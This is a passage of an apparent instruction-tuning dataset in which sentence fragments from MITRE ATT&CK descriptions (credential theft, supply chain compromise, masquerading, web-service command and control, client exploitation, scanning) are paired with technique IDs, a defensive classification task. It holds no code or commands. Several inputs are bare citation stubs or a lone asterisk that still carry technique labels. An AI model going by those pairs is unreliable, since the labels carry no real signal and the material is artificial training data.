accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation:", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Register Uber)(Citation: Detectify Slack Tokens)(Citation:", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Register Uber)(Citation: Detectify Slack Tokens)(Citation: ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forbes GitHub Creds)(Citation:", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forbes GitHub Creds)(Citation: ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase credentials from dark web or other black-markets.", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase credentials from dark web or other black-markets. ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022) ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Replacement of legitimate software with modified versions\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Replacement of legitimate software with modified versions\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sales of modified/counterfeit products to legitimate distributors\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sales of modified/counterfeit products to legitimate distributors\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symantec Elderwood Sept 2012)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symantec Elderwood Sept 2012)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation:", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Command Five SK 2011)", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ### Response: T1195.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities.", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing.", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>).", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Masquerade Ball)", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Masquerade Ball) ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths.", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: F-Secure CozyDuke)", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: F-Secure CozyDuke) ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised systems may leverage popular websites and social media to host command and control (C2) instructions.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Those infected systems can then send the output from those commands back over that Web service channel.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those infected systems can then send the output from those commands back over that Web service channel. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The return traffic may occur in a variety of ways, depending on the Web service being utilized.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The return traffic may occur in a variety of ways, depending on the Web service being utilized. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit software vulnerabilities in client applications to execute code.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit software vulnerabilities in client applications to execute code. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These often do not require an action by the user for the exploit to be executed.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These often do not require an action by the user for the exploit to be executed. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious files will be transmitted directly as attachments or through links to download them.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious files will be transmitted directly as attachments or through links to download them. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These require the user to open the document or file for the exploit to run.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These require the user to open the document or file for the exploit to run. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "output": "T1203", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For instance, some Flash exploits have been delivered as objects within Microsoft Office documents. ### Response: T1203."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform different forms of active scanning depending on what information they seek to gather.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform different forms of active scanning depending on what information they seek to gather. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. ### Response: 